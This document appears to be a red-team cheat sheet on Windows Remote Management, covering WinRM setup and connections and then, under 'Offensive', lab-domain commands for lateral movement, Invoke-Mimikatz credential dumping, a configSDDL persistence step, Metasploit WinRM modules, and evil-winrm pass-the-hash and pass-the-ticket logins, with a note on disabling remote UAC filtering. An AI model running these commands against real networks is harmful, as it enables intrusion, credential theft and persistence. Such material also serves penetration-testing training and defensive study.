Resources

Commands

  • Technology
    • Enable PSRemoting (Starts WinRM service, sets auto-start, creates firewall rules)
      Enable-PSRemoting -Force
       
      # Verify 
      winrm enumerate winrm/config/listener
      • Https
        # 1. Create a self-signed certificate (valid for 1 year)
        $cert = New-SelfSignedCertificate -DnsName "WIN11" -CertStoreLocation "Cert:\LocalMachine\My"
         
        # 2. Note the Thumbprint
        $cert.Thumbprint
         
        # 3. Create the HTTPS listener using that thumbprint
        New-Item -Path WSMan:\localhost\Listener -Transport HTTPS -Address * -CertificateThumbprint $cert.Thumbprint -Force
         
        # 4. Verify the listener now shows HTTPS
        winrm enumerate winrm/config/listener 
    • Auth
      # Basic auth 
      Set-Item WSMan:\localhost\Service\Auth\Basic -Value $true
      • Trusted Hosts
        Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.200" -Force
        Set-Item WSMan:\localhost\Client\TrustedHosts -Value "WIN101" -Force
         
        # Check 
        Get-Item WSMan:\localhost\Client\TrustedHosts
        winrm get winrm/config/client
  • Connections
    • PSSession (wsmprovhost.exe)
      $pass = ConvertTo-SecureString 'Password123#f' -AsPlainText -Force
      $Cred = New-Object System.Management.Automation.PSCredential('redteamrecipes.com\fmoheb', $pass)
      Invoke-Command -ComputerName 192.168.99.31 -Credential $cred -ScriptBlock { hostname; whoami}
       
      Enter-PSSession -ComputerName WIN11
      • Https
        • Ignore self signed
        $opt = New-PSSessionOption -SkipCACheck -SkipCNCheck
        Enter-PSSession -ComputerName WIN11 -UseSSL -SessionOption $opt
        • Import Certificate
          # On win11 
          Get-ChildItem -Path "Cert:\LocalMachine\My" | Where-Object { $_.Subject -match "CN=WIN11" } | Export-Certificate -FilePath "C:\Users\Public\WIN11_SSL.cer"
           
          # On win101
          xcopy \\win11\users\public\WIN11_SSL.cer .
           
          Import-Certificate -FilePath "C:\Users\fmoheb\WIN11_SSL.cer" -CertStoreLocation Cert:\LocalMachine\Root # Needs admin
           
          test-wsman -computername "win11" -UseSSL
          test-wsman -computername "192.168.99.31"
    • winrs (winrshost.exe)
      winrs -r:http://192.168.99.31:5985 -u:fmoheb -p:Password123#f "cmd.exe /c whoami"
    • CIM/WMI (wmiprvse.exe)
      $cimSession = New-CimSession -ComputerName 192.168.99.31 -Credential $cred
      Invoke-CimMethod -ClassName Win32_Process -MethodName Create -CimSession $cimSession -Arguments @{CommandLine='notepad.exe'}
  • Offensive
    • Windows
      • Recon
        • Users
          net localgroup "Remote Management Users"
        • Config
          • Winrm
            winrm enumerate winrm/config/listener
            winrm get winrm/config/service/auth
          • LocalAccountTokenFilterPolicy
            New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -Value 1 -PropertyType DWord -Force
             
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
        • Mandatory level
          whoami /groups
      • Offensive
        • Invoke-command
          Invoke-Command -ComputerName win11 -ScriptBlock { dir c:\ }
        • winrs
          winrs -r:win11 "powershell"
          winrs -r:http://win11:5985 "powershell"
           
          winrs -r:win11 "ipconfig" 
        • Enter-Pssesion
           Enter-PSSession -ComputerName win11 -UseSSL
          • With cred
            $password = ConvertTo-SecureString "Password123#f" -AsPlainText -Force
            $cred = New-Object System.Management.Automation.PSCredential("fmoheb", $password)
            Enter-PSSession -ComputerName win11 -Credential $cred
             
             
            $sess = New-PSSession -ComputerName win11 -Credential $cred
            Invoke-Command -Session $sess -ScriptBlock { ipconfig }
            Enter-PSSession -Session $sess
          • Download & Upload
            Copy-Item -ToSession $sess -Path .\Desktop\pspw.ps1 -Destination C:\Users\tsoprano\Desktop\
             
            Copy-Item -FromSession $sess -Path C:\Users\tsoprano\Desktop\pspw.ps1 -Destination . 
        • Importing Scripts
          . .\Invoke-Mimikatz.ps1
          Invoke-Mimikatz -ComputerName win11
      • Persistance
        • ConfigSDDL
          winrm configSDDL default # Create a user (ex:svc_backup_exec ..) and add it with full access or execution now u have access to winrm as admin [nxc winrm 192.168.99.31 -u jsnow -p Password123#j -x 'whoami /groups']
           
          Get-Item -Path WSMan:\localhost\Service\RootSDDL | fl
    • Linux
      • Recon
        • nmap
          nmap -p 5985,5986 192.168.99.31
        • nxc
          nxc winrm 192.168.99.11 -d redteamrecipes.com -u users.txt -p Password123#y
        • MSF
          # Auth Modes 
          msf > use auxiliary/scanner/winrm/winrm_auth_methods
           
          # Test creds 
          msf > use auxiliary/scanner/winrm/winrm_login
           
          # execute commands 
          msf > use auxiliary/scanner/winrm/winrm_cmd
           
          # Shell 
          msf > exploit/windows/winrm/winrm_script_exec
        • bloodhound
          MATCH p=(u:User)-[:CanPSRemote*1..]->(c:Computer)
          RETURN p
      • Exploitation
        • evil-winrm
          evil-winrm -i 192.168.99.31 -p Password123#f -u fmoheb
          evil-winrm -i 192.168.99.31 -p Password123#f -u fmoheb -S
           
          # PTH
          	evil-winrm -i 192.168.99.31 -u fmoheb -H 70acaa6bad1c4d34405f748f3fa4a9d1 
           
          # PTT
          	# apt install krb5-user  
          	ntpdate 192.168.99.30
          	nano /etc/krb5.conf
          	
          	[realms]
          	    REDTEAMRECIPES.COM = {
          	        kdc = 10.10.10.5
          	        admin_server = 10.10.10.5
          	    }
          	[domain_realm]
          	    .redteamrecipes.com = REDTEAMRECIPES.COM
          	    redteamrecipes.com = REDTEAMRECIPES.COM
          	
          	nano /etc/hosts
          	
          	192.168.99.31 WIN11 win11.redteamrecipes.com 
          	192.168.99.30 rtr-dc redteamrecipes.com rtr-dc.redteamrecipes.com
          	
          	evil-winrm -r redteamrecipes.com -i win11.redteamrecipes.com
        • nxc
          nxc winrm 192.168.99.31 -u jsnow -p Password123#j -x 'whoami /groups'
        • Pwsh (Not worked for me)
          pwsh 
          $password = ConvertTo-SecureString "Password123#f" -AsPlainText -Force
          $cred = New-Object System.Management.Automation.PSCredential("fmoheb", $password)
          enter-PSSession -ComputerName 192.168.99.31 -Credential $cred
           

Tools

Detection

Notes

LocalAccountTokenFilterPolicy (The Pass-the-Hash Key)

Path: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

This key controls whether User Account Control (UAC) strips administrative privileges from local accounts during network logons (SMB/WMI/WinRM).

  • Not Set / 0 (Default): Remote UAC is ON. Pass-the-Hash with a Local Admin (Non-RID 500) yields a restricted Medium Integrity shell. Admin commands will fail.
  • Set to 1: Remote UAC is OFF. Pass-the-Hash with a Local Admin yields a full High Integrity / SYSTEM shell.

(Note: This key does not affect Domain Admins or the built-in RID-500 Administrator, as they bypass Remote UAC inherently).

Nodes